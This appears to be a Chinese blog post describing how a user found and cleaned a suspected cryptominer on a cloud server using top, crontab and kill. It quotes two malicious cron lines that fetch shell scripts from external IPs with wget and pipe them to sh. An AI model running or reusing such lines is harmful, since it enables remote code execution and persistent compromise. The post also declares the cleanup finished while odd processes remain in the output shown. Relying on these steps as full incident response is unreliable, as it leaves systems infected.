当前位置: 首页 > news >正文

解决云服务器CPU占用率接近100%问题

黑客通常利用云服务器开放的端口攻击云服务器,造成云服务器CPU占用率接近100%,云服务器CPU资源为黑客所用,例如:挖矿。

top命令查看资源使用情况

[hadoop@Master ~]$ top
...PID USER      PR  NI    VIRT    RES    SHR S %CPU %MEM     TIME+ COMMAND
25515 hadoop    20   0  176820   2740    428 S 96.7  0.1  22:29.82 java1332 root      20   0 2086940  85604   2452 S  0.7  4.5 735:08.85 java2347 hadoop    20   0     208     20      0 S  0.3  0.0   0:10.17 08ct58qfnma+3352 hadoop    20   0     208     36      0 S  0.3  0.0   0:51.95 34rol45oukei7512 mongod    20   0 1091048  81148   2064 S  0.3  4.3  44:48.20 mongod...

发现CPU被一个25515的进程占用了96.7%(接近100%)占用。

按q键退出top监听

查看定时任务

[hadoop@Master ~]$ crontab -l
* * * * * wget -q -O - http://46.249.38.186/cr.sh | sh > /dev/null 2>&1
10 * * * * wget -q -O - http://89.35.39.78/1.sh | sh > /dev/null 2>&1

发现确实有定时任务,而且这个ip是陌生ip。有xx.sh脚本在后台运行。

删除定时任务

[hadoop@Master ~]$ crontab -r

再次查看定时任务

[hadoop@Master ~]$ crontab -l
no crontab for hadoop

用kill掉CPU占用率接近100%的进程

[hadoop@Master ~]$ kill -9 25515

再次用top命令查看资源使用情况 

[hadoop@Master ~]$ top
...
​PID USER      PR  NI    VIRT    RES    SHR S %CPU %MEM     TIME+ COMMAND1965 hadoop    20   0 3129388 157000   1648 S  0.3  8.3  18:59.50 java5975 hadoop    20   0     208     44      0 S  0.3  0.0   1:26.53 id2mk0hrtdop...

过几分钟再次用top命令查看

[hadoop@Master ~]$ top
...
​PID USER      PR  NI    VIRT    RES    SHR S %CPU %MEM     TIME+ COMMAND1332 root      20   0 2086940  85628   2452 S  0.7  4.5 735:13.85 java8513 hadoop    20   0     208     40      0 S  0.3  0.0   1:08.88 fv7ed8qccns+
17228 hadoop    20   0     208     24      0 S  0.3  0.0   0:22.29 72t7j2itqvb+...

总结:

CPU占用率接近100%的问题,通过top命令查出CPU占用率高的进程

如果没有定时任务,可以直接kill掉CPU占用率高的进程;

如果有定时任务,kill掉进程后,过一会top查看还会再次出现CPU 100%的问题,使用crontab -l命令查看发现有定时任务。crontab -r杀掉定时任务,再kill -9杀掉CPU占用率高的进程就ok了。

完成!enjoy it!

相关文章:

  • 北京网站建设多少钱?
  • 辽宁网页制作哪家好_网站建设
  • 高端品牌网站建设_汉中网站制作
  • 二叉树基础及实现(一)
  • Java 写一个可以持续发送消息的socket服务端
  • c++初阶篇(三):内联函数及auto关键字
  • 代理模式详解
  • 畅玩游戏新选择 :游戏本 Windows10 64位 专业版!
  • oracle备份和恢复exp/imp-----从全库备份中恢复用户库解题思路
  • ubantu22.04安装OceanBase 数据库
  • 数据结构2—顺序表(附源码)
  • react中的context就是vue中的provide/inject吗?
  • 全国区块链职业技能大赛第八套区块链产品需求分析与方案设计
  • Go操作Redis详解
  • 校验deb、rpm、apt、yum安装文件完整性测试
  • Web 性能入门指南-3.5 优化单页应用程序 (SPA)
  • Golang | Leetcode Golang题解之第242题有效的字母异位词
  • Linux下开放指定端口
  • create-react-app项目添加less配置
  • Docker入门(二) - Dockerfile
  • gf框架之分页模块(五) - 自定义分页
  • JavaScript学习总结——原型
  • leetcode386. Lexicographical Numbers
  • python docx文档转html页面
  • react 代码优化(一) ——事件处理
  • Spring核心 Bean的高级装配
  • Vue.js源码(2):初探List Rendering
  • 道格拉斯-普克 抽稀算法 附javascript实现
  • 高程读书笔记 第六章 面向对象程序设计
  • 关于 Linux 进程的 UID、EUID、GID 和 EGID
  • 京东美团研发面经
  • 开源中国专访:Chameleon原理首发,其它跨多端统一框架都是假的?
  • 类orAPI - 收藏集 - 掘金
  • 消息队列系列二(IOT中消息队列的应用)
  • 东超科技获得千万级Pre-A轮融资,投资方为中科创星 ...
  • 好程序员web前端教程分享CSS不同元素margin的计算 ...
  • #laravel部署安装报错loadFactoriesFrom是undefined method #
  • #Z0458. 树的中心2
  • $.proxy和$.extend
  • ${factoryList }后面有空格不影响
  • (14)Hive调优——合并小文件
  • (4.10~4.16)
  • (Arcgis)Python编程批量将HDF5文件转换为TIFF格式并应用地理转换和投影信息
  • (Note)C++中的继承方式
  • (二)Kafka离线安装 - Zookeeper下载及安装
  • (转)ObjectiveC 深浅拷贝学习
  • (转)程序员疫苗:代码注入
  • .\OBJ\test1.axf: Error: L6230W: Ignoring --entry command. Cannot find argumen 'Reset_Handler'
  • .locked1、locked勒索病毒解密方法|勒索病毒解决|勒索病毒恢复|数据库修复
  • .net core docker部署教程和细节问题
  • .net core IResultFilter 的 OnResultExecuted和OnResultExecuting的区别
  • .NET Core 项目指定SDK版本
  • .Net Memory Profiler的使用举例
  • .NET Reactor简单使用教程
  • .Net转Java自学之路—基础巩固篇十三(集合)
  • /etc/X11/xorg.conf 文件被误改后进不了图形化界面
  • @Async 异步注解使用
  • @html.ActionLink的几种参数格式